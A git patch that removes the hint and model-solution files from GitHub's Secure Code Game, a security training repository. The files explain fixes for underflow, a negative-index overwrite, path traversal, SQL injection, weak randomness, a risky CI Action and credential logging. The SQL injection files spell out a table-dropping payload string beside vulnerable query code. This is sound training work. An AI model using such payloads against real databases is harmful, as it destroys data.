From 3530f03c9e9f7e4ce5021f0cf5fd44396964408c Mon Sep 17 00:00:00 2001 From: jkcso Date: Thu, 30 Jan 2025 20:48:43 +0000 Subject: [PATCH] refactors code --- Season-1/Level-1/hint.js | 6 - Season-1/Level-1/solution.py | 82 -------- Season-1/Level-2/hint-1.txt | 5 - Season-1/Level-2/hint-2.txt | 6 - Season-1/Level-2/solution.c | 141 ------------- Season-1/Level-3/hint.txt | 3 - Season-1/Level-3/solution.py | 96 --------- Season-1/Level-4/hint.py | 25 --- Season-1/Level-4/solution.py | 71 ------- Season-1/Level-5/hint.txt | 3 - Season-1/Level-5/solution.py | 65 ------ Season-1/README.md | 14 +- Season-2/Level-1/hint-1.txt | 4 - Season-2/Level-1/hint-2.txt | 5 - Season-2/Level-1/solution.yml | 43 ---- Season-2/Level-2/hint-1.txt | 3 - Season-2/Level-2/hint-2.txt | 3 - Season-2/Level-2/solution/go.mod | 3 - Season-2/Level-2/solution/solution.go | 102 ---------- Season-2/Level-2/solution/solution_test.go | 214 -------------------- Season-2/Level-3/hint.txt | 8 - Season-2/Level-3/solution.js | 95 --------- Season-2/Level-4/hint.txt | 1 - Season-2/Level-4/solution.txt | 68 ------- Season-2/Level-5/hack-1.js | 25 --- Season-2/Level-5/hack-2.js | 25 --- Season-2/Level-5/hack-3.js | 25 --- Season-2/Level-5/hint-1.txt | 24 --- Season-2/Level-5/hint-2.txt | 3 - Season-2/Level-5/hint-3.txt | 1 - Season-2/Level-5/solution.js | 221 --------------------- Season-2/README.md | 10 +- 32 files changed, 12 insertions(+), 1388 deletions(-) delete mode 100644 Season-1/Level-1/hint.js delete mode 100644 Season-1/Level-1/solution.py delete mode 100644 Season-1/Level-2/hint-1.txt delete mode 100644 Season-1/Level-2/hint-2.txt delete mode 100644 Season-1/Level-2/solution.c delete mode 100644 Season-1/Level-3/hint.txt delete mode 100644 Season-1/Level-3/solution.py delete mode 100644 Season-1/Level-4/hint.py delete mode 100644 Season-1/Level-4/solution.py delete mode 100644 Season-1/Level-5/hint.txt delete mode 100644 Season-1/Level-5/solution.py delete mode 100644 Season-2/Level-1/hint-1.txt delete mode 100644 Season-2/Level-1/hint-2.txt delete mode 100644 Season-2/Level-1/solution.yml delete mode 100644 Season-2/Level-2/hint-1.txt delete mode 100644 Season-2/Level-2/hint-2.txt delete mode 100644 Season-2/Level-2/solution/go.mod delete mode 100644 Season-2/Level-2/solution/solution.go delete mode 100644 Season-2/Level-2/solution/solution_test.go delete mode 100644 Season-2/Level-3/hint.txt delete mode 100644 Season-2/Level-3/solution.js delete mode 100644 Season-2/Level-4/hint.txt delete mode 100644 Season-2/Level-4/solution.txt delete mode 100644 Season-2/Level-5/hack-1.js delete mode 100644 Season-2/Level-5/hack-2.js delete mode 100644 Season-2/Level-5/hack-3.js delete mode 100644 Season-2/Level-5/hint-1.txt delete mode 100644 Season-2/Level-5/hint-2.txt delete mode 100644 Season-2/Level-5/hint-3.txt delete mode 100644 Season-2/Level-5/solution.js diff --git a/Season-1/Level-1/hint.js b/Season-1/Level-1/hint.js deleted file mode 100644 index f145f44..0000000 --- a/Season-1/Level-1/hint.js +++ /dev/null @@ -1,6 +0,0 @@ -// Example of underflow vulnerability in JS -var a = 10000000000000000; // 16 zeroes, try with 15 zeroes ;) -var b = 2; -var c = 1; - -console.log(a + b - c - a); \ No newline at end of file diff --git a/Season-1/Level-1/solution.py b/Season-1/Level-1/solution.py deleted file mode 100644 index a9771e0..0000000 --- a/Season-1/Level-1/solution.py +++ /dev/null @@ -1,82 +0,0 @@ -from collections import namedtuple -from decimal import Decimal - -Order = namedtuple('Order', 'id, items') -Item = namedtuple('Item', 'type, description, amount, quantity') - -MAX_ITEM_AMOUNT = 100000 # maximum price of item in the shop -MAX_QUANTITY = 100 # maximum quantity of an item in the shop -MIN_QUANTITY = 0 # minimum quantity of an item in the shop -MAX_TOTAL = 1e6 # maximum total amount accepted for an order - -def validorder(order): - payments = Decimal('0') - expenses = Decimal('0') - - for item in order.items: - if item.type == 'payment': - # Sets a reasonable min & max value for the invoice amounts - if -MAX_ITEM_AMOUNT <= item.amount <= MAX_ITEM_AMOUNT: - payments += Decimal(str(item.amount)) - elif item.type == 'product': - if type(item.quantity) is int and MIN_QUANTITY < item.quantity <= MAX_QUANTITY and MIN_QUANTITY < item.amount <= MAX_ITEM_AMOUNT: - expenses += Decimal(str(item.amount)) * item.quantity - else: - return "Invalid item type: %s" % item.type - - if abs(payments) > MAX_TOTAL or expenses > MAX_TOTAL: - return "Total amount payable for an order exceeded" - - if payments != expenses: - return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, payments - expenses) - else: - return "Order ID: %s - Full payment received!" % order.id - -# Solution explanation: - -# A floating-point underflow vulnerability. - -# In hack.py, the attacker tricked the system by supplying an extremely high -# amount as a fake payment, immediately followed by a payment reversal. -# The exploit passes a huge number, causing an underflow while subtracting the -# cost of purchased items, resulting in a zero net. - -# It's a good practice to limit your system input to an acceptable range instead -# of accepting any value. - -# We also need to protect from a scenario where the attacker sends a huge number -# of items, resulting in a huge net. We can do this by limiting all variables -# to reasonable values. - -# In addition, using floating-point data types for calculations involving financial -# values causes unexpected rounding and comparison errors as it cannot represent -# decimal numbers with the precision we expect. - -# For example, running `0.1 + 0.2` in the Python interpreter gives `0.30000000000000004` -# instead of 0.3. - -# The solution to this is to use the Decimal type for calculations that should work -# in the same way "as the arithmetic that people learn at school." -# Learn more by reading Python's official documentation on Decimal: -# (https://docs.python.org/3/library/decimal.html). - -# It is also necessary to convert the floating point values to string first before passing -# it to the Decimal constructor. If the floating point value is passed to the Decimal -# constructor, the rounded value is stored instead. - -# Compare the following examples from the interpreter: -# >>> Decimal(0.3) -# Decimal('0.299999999999999988897769753748434595763683319091796875') -# >>> Decimal('0.3') -# Decimal('0.3') - -# Input validation should be expanded to also check data types besides testing allowed range -# of values. This specific bug, caused by using a non-integer quantity, might occur due to -# insufficient attention to requirements engineering. While in certain contexts is acceptable -# to buy a non-integer amount of an item (e.g. buy a fractional share), in the context of our -# online shop we falsely placed trust to users for buying a positive integer of items only, -# without malicious intend. - - -# Contribute new levels to the game in 3 simple steps! -# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md \ No newline at end of file diff --git a/Season-1/Level-2/hint-1.txt b/Season-1/Level-2/hint-1.txt deleted file mode 100644 index 8da5f44..0000000 --- a/Season-1/Level-2/hint-1.txt +++ /dev/null @@ -1,5 +0,0 @@ -Consider what can happen if an attacker figures out the private, -implementation-specific details of the user_account structure -inside code.h. What can the attacker do with this information? - -Go back and try the exercise without looking hint-2.txt ;) \ No newline at end of file diff --git a/Season-1/Level-2/hint-2.txt b/Season-1/Level-2/hint-2.txt deleted file mode 100644 index 4dc2d2f..0000000 --- a/Season-1/Level-2/hint-2.txt +++ /dev/null @@ -1,6 +0,0 @@ -Have a look inside hack.c and look at what the attacker is passing as an argument. -Is that input able to overwrite something important somewhere? - - -# Contribute new levels to the game in 3 simple steps! -# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md \ No newline at end of file diff --git a/Season-1/Level-2/solution.c b/Season-1/Level-2/solution.c deleted file mode 100644 index 724294a..0000000 --- a/Season-1/Level-2/solution.c +++ /dev/null @@ -1,141 +0,0 @@ -// Vulnerability was in line 83 of code.h -// Fix can be found in line 77 below - -#include -#include -#include -#include -#include - -#define MAX_USERNAME_LEN 39 -#define SETTINGS_COUNT 10 -#define MAX_USERS 100 -#define INVALID_USER_ID -1 - -// For simplicity, both the private (implementation specific) and the public (API) parts -// of this application have been combined inside this header file. In the real-world, it -// is expected for the public (API) parts only to be presented here. Therefore, for the -// purpose of this level, please assume that the private (implementation specific) sections -// of this file, would not be known to the non-privileged users of this application - -// Internal counter of user accounts -int userid_next = 0; - -// The following structure is implementation-speicific and it's supposed to be unknown -// to non-privileged users -typedef struct { - bool isAdmin; - long userid; - char username[MAX_USERNAME_LEN + 1]; - long setting[SETTINGS_COUNT]; -} user_account; - -// Simulates an internal store of active user accounts -user_account *accounts[MAX_USERS]; - -// The signatures of the following four functions together with the previously introduced -// constants (see #DEFINEs) constitute the API of this module - -// Creates a new user account and returns it's unique identifier -int create_user_account(bool isAdmin, const char *username) { - if (userid_next >= MAX_USERS) { - fprintf(stderr, "the maximum number of users have been exceeded"); - return INVALID_USER_ID; - } - - user_account *ua; - if (strlen(username) > MAX_USERNAME_LEN) { - fprintf(stderr, "the username is too long"); - return INVALID_USER_ID; - } - ua = malloc(sizeof (user_account)); - if (ua == NULL) { - fprintf(stderr, "malloc failed to allocate memory"); - return INVALID_USER_ID; - } - ua->isAdmin = isAdmin; - ua->userid = userid_next++; - strcpy(ua->username, username); - memset(&ua->setting, 0, sizeof ua->setting); - accounts[userid_next] = ua; - return userid_next++; -} - -// Updates the matching setting for the specified user and returns the status of the operation -// A setting is some arbitrary string associated with an index as a key -bool update_setting(int user_id, const char *index, const char *value) { - if (user_id < 0 || user_id >= MAX_USERS) - return false; - - char *endptr; - long i, v; - i = strtol(index, &endptr, 10); - if (*endptr) - return false; - - v = strtol(value, &endptr, 10); - // FIX: We should check for negative index values too! Scroll for the full solution - if (*endptr || i < 0 || i >= SETTINGS_COUNT) - return false; - accounts[user_id]->setting[i] = v; - return true; -} - -// Returns whether the specified user is an admin -bool is_admin(int user_id) { - if (user_id < 0 || user_id >= MAX_USERS) { - fprintf(stderr, "invalid user id"); - return false; - } - return accounts[user_id]->isAdmin; -} - -// Returns the username of the specified user -const char* username(int user_id) { - // Returns an error for invalid user ids - if (user_id < 0 || user_id >= MAX_USERS) { - fprintf(stderr, "invalid user id"); - return NULL; - } - return accounts[user_id]->username; -} - -/* - There are two vulnerabilities in this code: - - (1) Security through Obscurity Abuse Vulnerability - -------------------------------------------- - - The concept of security through obscurity (STO) relies on the idea that a - system can remain secure if something (even a vulnerability!) is secret or - hidden. If an attacker doesn't know what the weaknesses are, they cannot - exploit them. The flip side is that once that vulnerability is exposed, - it's no longer secure. It's widely believed that security through obscurity - is an ineffective security measure on its own, and should be avoided due to - a potential single point of failure and a fall sense of security. - - In code.h the user_account structure is supposed to be an implementation - detail that is not visible to the user. Otherwise, attackers could easily - modify the structure and change the 'isAdmin' flag to 'true', to gain admin - privileges. - - Therefore, as this example illustrates, security through obscurity alone is - not enough to secure a system. Attackers are in position toreverse engineer - the code and find the vulnerability. This is exposed in hack.c (see below). - - You can read more about the concept of security through obscurity here: - https://securitytrails.com/blog/security-through-obscurity - - - (2) Buffer Overflow Vulnerability - ---------------------------- - - In hack.c, an attacker escalated privileges and became an admin by abusing - the fact that the code wasn't checking for negative index values. - - Negative indexing here caused an unauthorized write to memory and affected a - flag, changing a non-admin user to admin. - - You can read more about buffer overflow vulnerabilities here: - https://owasp.org/www-community/vulnerabilities/Buffer_Overflow -*/ \ No newline at end of file diff --git a/Season-1/Level-3/hint.txt b/Season-1/Level-3/hint.txt deleted file mode 100644 index 88344cf..0000000 --- a/Season-1/Level-3/hint.txt +++ /dev/null @@ -1,3 +0,0 @@ -Have a look in hack.py and see what the attacker is supplying as value. -Then, think whether is better to use a block list vs using an allow list -when it comes to user input. \ No newline at end of file diff --git a/Season-1/Level-3/solution.py b/Season-1/Level-3/solution.py deleted file mode 100644 index b472604..0000000 --- a/Season-1/Level-3/solution.py +++ /dev/null @@ -1,96 +0,0 @@ -# Model solution follows - -import os -from flask import Flask, request - -### Unrelated to the exercise -- Starts here -- Please ignore -app = Flask(__name__) -@app.route("/") -def source(): - TaxPayer('foo', 'bar').get_tax_form_attachment(request.args["input"]) - TaxPayer('foo', 'bar').get_prof_picture(request.args["input"]) -### Unrelated to the exercise -- Ends here -- Please ignore - -class TaxPayer: - - def __init__(self, username, password): - self.username = username - self.password = password - self.prof_picture = None - self.tax_form_attachment = None - - # returns the path of an optional profile picture that users can set - def get_prof_picture(self, path=None): - # setting a profile picture is optional - if not path: - pass - - # builds path - base_dir = os.path.dirname(os.path.abspath(__file__)) - prof_picture_path = os.path.normpath(os.path.join(base_dir, path)) - if not prof_picture_path.startswith(base_dir): - return None - - with open(prof_picture_path, 'rb') as pic: - picture = bytearray(pic.read()) - - # assume that image is returned on screen after this - return prof_picture_path - - # returns the path of an attached tax form that every user should submit - def get_tax_form_attachment(self, path=None): - tax_data = None - - # A tax form is required - if not path: - raise Exception("Error: Tax form is required for all users") - - # Validate the path to prevent path traversal attacks - base_dir = os.path.dirname(os.path.abspath(__file__)) - tax_form_path = os.path.normpath(os.path.join(base_dir, path)) - if not tax_form_path.startswith(base_dir): - return None - - with open(tax_form_path, 'rb') as form: - tax_data = bytearray(form.read()) - - # assume that tax data is returned on screen after this - return tax_form_path - - -# Solution explanation - -# Path Traversal vulnerability - -# A form of injection attacks where attackers escape the intended target -# directory and manage to access parent directories. -# In the functions get_prof_picture and get_tax_form_attachment, the path -# isn't sanitized, and a user can pass invalid paths (with ../). - -# Input validation seems like a good solution at first, by limiting the -# character set allowed to alphanumeric, but sometimes this approach is -# too restrictive. We might need to handle arbitrary filenames or the -# code needs to run cross-platform and account for filesystem differences -# between Windows, Macs and *nix. - -# Proposed fix: -# While you could improve the string-based tests by checking for invalid -# paths (those with dot-dot etc), this approach can be risky since the -# spectrum of inputs can be infinite and attackers get really creative. - -# Instead, a straightforward solution is to rely on the os.path -# library to derive the base directory instead of trusting user input. -# The user input can be later appended to the safely generated base -# directory so that the absolute filepath is normalized. - -# Finally, add a check on the longest common subpath between the -# base directory and the normalized filepath to make sure that no -# traversal is about to happen and that the final path ends up in the -# intended directory. - -# We covered this flaw in a blog post about OWASP's Top 10 proactive controls: -# https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/ - - -# Contribute new levels to the game in 3 simple steps! -# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md diff --git a/Season-1/Level-4/hint.py b/Season-1/Level-4/hint.py deleted file mode 100644 index 280ba05..0000000 --- a/Season-1/Level-4/hint.py +++ /dev/null @@ -1,25 +0,0 @@ -import sqlite3 - -# Vulnerable -con = sqlite3.connect('users.db') -user_input = "Mary" -sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');" -con.executescript(sql_stmt) - -""" -The above code is vulnerable to SQL injection because user_input is -passed unsanitized to the query logic. This makes the query logic -prone to being tampered. Consider the following input: - -user_input = "Mary'); DROP TABLE Users;--" - -which will result to the following query: - -"INSERT INTO Users (user) VALUES ('Mary'); DROP TABLE Users;--');" - -Now that you know what's wrong with the code, can you fix it? - - -Contribute new levels to the game in 3 simple steps! -Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md -""" \ No newline at end of file diff --git a/Season-1/Level-4/solution.py b/Season-1/Level-4/solution.py deleted file mode 100644 index ea13e97..0000000 --- a/Season-1/Level-4/solution.py +++ /dev/null @@ -1,71 +0,0 @@ -import sqlite3 - -# Please note: The following code is NOT expected to run and it's provided for explanation only - -# Vulnerable: this code will allow an attacker to insert the "DROP TABLE" SQL command into the query -# and delete all users from the database. -con = sqlite3.connect('example.db') -user_input = "Mary'); DROP TABLE Users;--" -sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');" -con.executescript(sql_stmt) - -# Secure through Parameterized Statements -con = sqlite3.connect('example.db') -user_input = "Mary'); DROP TABLE Users;--" -# The secure way to query a database is -con.execute("INSERT INTO Users (user) VALUES (?)", (user_input,)) - -# Solution explanation: - -# The methodology used above to protect against SQL injection is the usage of parameterized -# statements. They protect against user input tampering with the query logic -# by using '?' as user input placeholders. - -# In the example above, the user input, as wrong as it is, will be inserted into the database -# as a new user, but the DROP TABLE command will not be executed. - -# code.py has 5 methods namely: -# (1) get_stock_info -# (2) get_stock_price -# (3) update_stock_price -# (4) exec_multi_query -# (5) exec_user_script - -# All methods are vulnerable! - -# Some are also suffering from bad design. -# We believe that methods 1, 2, and 3 have a more security-friendly design compared -# to methods 4 and 5. - -# This is because methods 4 and 5, by design, provide attackers with the chance of -# arbitrary script execution. - -# We believe that security plays an important role and methods like 4 and 5 should be -# avoided fully. - -# We, therefore, propose in our model solution to completely remove them instead of -# trying to secure them in their existing form. A better approach would be to design -# them from the beginning, like methods 1, 2, and 3, so that user input could be a -# placeholder in pre-existing logic, instead of giving users the power of directly -# injecting logic. - -# More details: -# One protection available to prevent SQL injection is the use of prepared statements, -# a database feature executing repeated queries. The protection stems from -# the fact that queries are no longer executed dynamically. - -# The user input will be passed to a template placeholder, which means -# that even if someone manages to pass unsanitized data to a query, the injection -# will not be in position to modify the databases' query template. Therefore no SQL -# injection will occur. - -# Widely-used web frameworks such as Ruby on Rails and Django offer built-in -# protection to help prevent SQL injection, but that shouldn't stop you from -# following good practices. Contextually, be careful when handling user input -# by planning for the worst and never trusting the user. - -# The GitHub Security Lab covered this flaw in one episode of Security Bites, -# its series on secure programming: https://youtu.be/VE6c57Tk5gM - -# We also covered this flaw in a blog post about OWASP's Top 10 proactive controls: -# https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/ \ No newline at end of file diff --git a/Season-1/Level-5/hint.txt b/Season-1/Level-5/hint.txt deleted file mode 100644 index 11b6926..0000000 --- a/Season-1/Level-5/hint.txt +++ /dev/null @@ -1,3 +0,0 @@ -Does the code: -a) reinvent the wheel or -b) is using cryptographically approved libraries? \ No newline at end of file diff --git a/Season-1/Level-5/solution.py b/Season-1/Level-5/solution.py deleted file mode 100644 index 6a2c73b..0000000 --- a/Season-1/Level-5/solution.py +++ /dev/null @@ -1,65 +0,0 @@ -import binascii -import secrets -import hashlib -import os -import bcrypt - -class Random_generator: - - # generates a random token using the secrets library for true randomness - def generate_token(self, length=8, alphabet=( - '0123456789' - 'abcdefghijklmnopqrstuvwxyz' - 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' - )): - return ''.join(secrets.choice(alphabet) for i in range(length)) - - # generates salt using the bcrypt library which is a safe implementation - def generate_salt(self, rounds=12): - return bcrypt.gensalt(rounds) - -class SHA256_hasher: - - # produces the password hash by combining password + salt because hashing - def password_hash(self, password, salt): - password = binascii.hexlify(hashlib.sha256(password.encode()).digest()) - password_hash = bcrypt.hashpw(password, salt) - return password_hash.decode('ascii') - - # verifies that the hashed password reverses to the plain text version on verification - def password_verification(self, password, password_hash): - password = binascii.hexlify(hashlib.sha256(password.encode()).digest()) - password_hash = password_hash.encode('ascii') - return bcrypt.checkpw(password, password_hash) - -# a collection of sensitive secrets necessary for the software to operate -PRIVATE_KEY = os.environ.get('PRIVATE_KEY') -PUBLIC_KEY = os.environ.get('PUBLIC_KEY') -SECRET_KEY = os.environ.get('SECRET_KEY') -PASSWORD_HASHER = 'SHA256_hasher' - -# Solution explanation: - -# Some mistakes are basic, like choosing a cryptographically-broken algorithm -# or committing secret keys directly in your source code. - -# You are more likely to fall for something more advanced, like using functions that -# seem random but produce a weak randomness. - -# The code suffers from: -# - reinventing the wheel by generating salt manually instead of calling gensalt() -# - not utilizing the full range of possible salt values -# - using the random module instead of the secrets module - -# Notice that we used the β€œrandom” module, which is designed for modeling and simulation, -# not for security or cryptography. - -# A good practice is to use modules specifically designed and, most importantly, -# confirmed by the security community as secure for cryptography-related use cases. - -# To fix the code, we used the β€œsecrets” module, which provides access to the most secure -# source of randomness on my operating system. I also used functions for generating secure -# tokens and hard-to-guess URLs. - -# Other python modules approved and recommended by the security community include argon2 -# and pbkdf2. \ No newline at end of file diff --git a/Season-1/README.md b/Season-1/README.md index 444ff8c..306d5be 100644 --- a/Season-1/README.md +++ b/Season-1/README.md @@ -22,7 +22,7 @@ For each level, you will find the same file structure: - `code` includes the vulnerable code to be reviewed. - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass. -- `hint` offers a hint if you get stuck. +- `hint` offers a hint if you get stuck. (Hints & Solutions to be added from March 2025) - `solution` provides one working solution. There are several possible solutions. - `tests` contains the unit tests that should still pass after you have implemented your fix. @@ -31,7 +31,7 @@ For each level, you will find the same file structure: 1. Review the code in `code.py`. Can you spot the bug(s)? 1. Try to fix the bug. Ensure that unit tests are still passing 🟒. 1. You successfully completed the level when both `hack.py` and `tests.py` pass 🟒. -1. If you get stuck, read the hint in the `hint.js` file. +1. If you get stuck, read the hint in the `hint.js` file. (Hints & Solutions to be added from March 2025) 1. Compare your solution with `solution.py`. If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. @@ -54,7 +54,7 @@ For each level, you will find the same file structure: - `code` includes the vulnerable code to be reviewed. - `hack` exploits the vulnerabilities in `code`. Running `hack.c` will fail initially, your goal is to get this file to pass 🟒. -- `hint` offers a hint if you get stuck. +- `hint` offers a hint if you get stuck. (Hints & Solutions to be added from March 2025) - `solution` provides one working solution. There are several possible solutions. - `tests` contains the unit tests that should still pass 🟒 after you have implemented your fix. @@ -63,7 +63,7 @@ For each level, you will find the same file structure: 1. Review the code in `code.h`. Can you spot the bug(s)? 1. Try to fix the bug. Ensure that unit tests are still passing. 1. The level is completed successfully when both `hack.c` and `tests.c` pass 🟒. -1. If you get stuck, read the hint in the `hint.txt` file. +1. If you get stuck, read the hint in the `hint.txt` file. (Hints & Solutions to be added from March 2025) 1. Compare your solution with `solution.c`. If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. @@ -90,7 +90,7 @@ For each level, you will find the same file structure: - `code` includes the vulnerable code to be reviewed. - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟒. -- `hint` offers a hint if you get stuck. +- `hint` offers a hint if you get stuck. (Hints & Solutions to be added from March 2025) - `solution` provides one working solution. There are several possible solutions. - `tests` contains the unit tests that should still pass 🟒 after you have implemented your fix. @@ -127,7 +127,7 @@ For each level, you will find the same file structure: - `code` includes the vulnerable code to be reviewed. - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟒. -- `hint` offers a hint if you get stuck. +- `hint` offers a hint if you get stuck. (Hints & Solutions to be added from March 2025) - `solution` provides one working solution. There are several possible solutions. - `tests` contains the unit tests that should still pass 🟒 after you have implemented your fix. @@ -173,7 +173,7 @@ For each level, you will find the same file structure: 1. Review the code in `code.py`. Can you spot the bug(s)? 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) `tests.py` pass 🟒. Notice that `hack.py` in this level is inactive. -1. If you get stuck, read the hint and try again. +1. If you get stuck, read the hint and try again. (Hints & Solutions to be added from March 2025) 1. If you need more guidance, read the CodeQL scanning alerts. 1. Compare your solution to `solution.py`. diff --git a/Season-2/Level-1/hint-1.txt b/Season-2/Level-1/hint-1.txt deleted file mode 100644 index 51d616a..0000000 --- a/Season-2/Level-1/hint-1.txt +++ /dev/null @@ -1,4 +0,0 @@ -Have a look inside .github/workflows/jarvis-code.yml -A GitHub Action is being used, can we trust it? - -Try again, without reading hint-2.txt ;-) \ No newline at end of file diff --git a/Season-2/Level-1/hint-2.txt b/Season-2/Level-1/hint-2.txt deleted file mode 100644 index 5a2edfb..0000000 --- a/Season-2/Level-1/hint-2.txt +++ /dev/null @@ -1,5 +0,0 @@ -What impact do new dependancies have on the attack surface of a project? - -Do we really need a third-party GitHub Action to check GitHub's availability status? - -What if we could use https://www.githubstatus.com/api/v2/status.json without using any dependencies? \ No newline at end of file diff --git a/Season-2/Level-1/solution.yml b/Season-2/Level-1/solution.yml deleted file mode 100644 index 8be4a24..0000000 --- a/Season-2/Level-1/solution.yml +++ /dev/null @@ -1,43 +0,0 @@ -# Contribute new levels to the game in 3 simple steps! -# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md - -name: CODE - Jarvis Gone Wrong - -on: - push: - paths: - - ".github/workflows/jarvis-code.yml" - -jobs: - jarvis: - runs-on: ubuntu-latest - permissions: - contents: read - steps: - - name: Check GitHub Status - run: | - STATUS=$(curl -s https://www.githubstatus.com/api/v2/status.json | jq -r '.status.description') - echo "GitHub Status: $STATUS" - - -# Solution Explanation - -# There is no doubt that using a GitHub Action from the marketplace can add value to our CI/CD pipeline. -# As with every expansion, our attack surface grows. In this case, we are both trusting a GitHub Action -# from a questionable third-party and we are also creating a new dependency for our project. - -# Here are some steps to guide our decision-making process, before using a new GitHub Action: -# 1. For simple tasks, avoid external GitHub Actions because the risk might outweigh the value. -# 2. Use GitHub Actions from Verified Creators because they follow a strict security review process. -# 3. Use the latest version of a GitHub Action because it might contain security fixes. -# 4. Think about GitHub Actions like dependencies: they need to be maintained and updated. -# 5. Think about disabling or limiting GitHub Actions for your organization(s) in Settings. -# 6. Have a PR process with multiple reviewers to avoid adding a malicious GitHub Action. - -# Learn more: -# New tool to secure your GitHub Actions: https://github.blog/2023-06-26-new-tool-to-secure-your-github-actions/ -# Short video on using third-party GitHub Actions like a PRO: https://www.youtube.com/shorts/eVbXtKylZpo -# Short video on avoiding injections from malicious GitHub Actions: https://www.youtube.com/shorts/fVxTV5rZxhc -# Short video on GitHub Actions' secrets privileges: https://www.youtube.com/shorts/1tD7km5jK70 -# Keeping your GitHub Actions and workflows secure: https://www.youtube.com/watch?v=Jn0kfAuJI2o -# Finding and customizing a GitHub Action: https://docs.github.com/en/actions/learn-github-actions/finding-and-customizing-actions \ No newline at end of file diff --git a/Season-2/Level-2/hint-1.txt b/Season-2/Level-2/hint-1.txt deleted file mode 100644 index 93e5695..0000000 --- a/Season-2/Level-2/hint-1.txt +++ /dev/null @@ -1,3 +0,0 @@ -Can an attacker guess or enumerate valid emails of Lumberjack customers? - -Try again, without reading hint-2.txt or the CodeQL code scanning alerts ;-) \ No newline at end of file diff --git a/Season-2/Level-2/hint-2.txt b/Season-2/Level-2/hint-2.txt deleted file mode 100644 index 6454c97..0000000 --- a/Season-2/Level-2/hint-2.txt +++ /dev/null @@ -1,3 +0,0 @@ -OMG! Does Lumberjack really log emails (twice in the code) and passwords (once in the code)? - -Try again, without reading the CodeQL code scanning alerts ;-) \ No newline at end of file diff --git a/Season-2/Level-2/solution/go.mod b/Season-2/Level-2/solution/go.mod deleted file mode 100644 index 1c84dae..0000000 --- a/Season-2/Level-2/solution/go.mod +++ /dev/null @@ -1,3 +0,0 @@ -module secure-code-game - -go 1.20 \ No newline at end of file diff --git a/Season-2/Level-2/solution/solution.go b/Season-2/Level-2/solution/solution.go deleted file mode 100644 index d66354a..0000000 --- a/Season-2/Level-2/solution/solution.go +++ /dev/null @@ -1,102 +0,0 @@ -// Solution explained: - -// 1) Remove the email being logged here: -// log.Printf("Invalid email format: %q", email) -// log.Printf("Invalid email format") - -// 2) Fix the error message to prevent user enumeration here: -// http.Error(w, "invalid email or password", http.StatusUnauthorized) -// http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) - -// 3) Remove the email and password being logged here: -// log.Printf("User %q logged in successfully with a valid password %q", email, password) -// log.Printf("Successful login request") - -// Full solution follows: - -package main - -import ( - "encoding/json" - "log" - "net/http" - "regexp" -) - -var reqBody struct { - Email string `json:"email"` - Password string `json:"password"` -} - -func isValidEmail(email string) bool { - // The provided regular expression pattern for email validation by OWASP - // https://owasp.org/www-community/OWASP_Validation_Regex_Repository - emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$` - match, err := regexp.MatchString(emailPattern, email) - if err != nil { - return false - } - return match -} - -func loginHandler(w http.ResponseWriter, r *http.Request) { - - // Test users - var testFakeMockUsers = map[string]string{ - "user1@example.com": "password12345", - "user2@example.com": "B7rx9OkWVdx13$QF6Imq", - "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO", - "user4@example.com": "Log4Fun", - } - - if r.Method == "POST" { - - decode := json.NewDecoder(r.Body) - decode.DisallowUnknownFields() - - err := decode.Decode(&reqBody) - if err != nil { - http.Error(w, "Cannot decode body", http.StatusBadRequest) - return - } - email := reqBody.Email - password := reqBody.Password - - if !isValidEmail(email) { - // Fix: Removing the email from the log - // log.Printf("Invalid email format: %q", email) - log.Printf("Invalid email format") - http.Error(w, "Invalid email format", http.StatusBadRequest) - return - } - - storedPassword, ok := testFakeMockUsers[email] - if !ok { - // Fix: Correcting the message to prevent user enumeration - // http.Error(w, "invalid email or password", http.StatusUnauthorized) - http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) - return - } - - if password == storedPassword { - // Fix: Removing the email and password from the log - // log.Printf("User %q logged in successfully with a valid password %q", email, password) - log.Printf("Successful login request") - w.WriteHeader(http.StatusOK) - } else { - http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) - } - - } else { - http.Error(w, "Invalid request method", http.StatusMethodNotAllowed) - } -} - -func main() { - http.HandleFunc("/login", loginHandler) - log.Print("Server started. Listening on :8080") - err := http.ListenAndServe(":8080", nil) - if err != nil { - log.Fatalf("HTTP server ListenAndServe: %q", err) - } -} diff --git a/Season-2/Level-2/solution/solution_test.go b/Season-2/Level-2/solution/solution_test.go deleted file mode 100644 index 6037638..0000000 --- a/Season-2/Level-2/solution/solution_test.go +++ /dev/null @@ -1,214 +0,0 @@ -// Run solution_test.go by following the instructions below: - -// This file is a copy of code_test.go and hack_test.go -// It tests the solution for failing and passing payloads - -// Run them by opening a terminal and running the following: -// $ go test -v Season-2/Level-2/solution/solution.go Season-2/Level-2/solution/solution_test.go - -// If 'go' is not found when running the above, install it from: 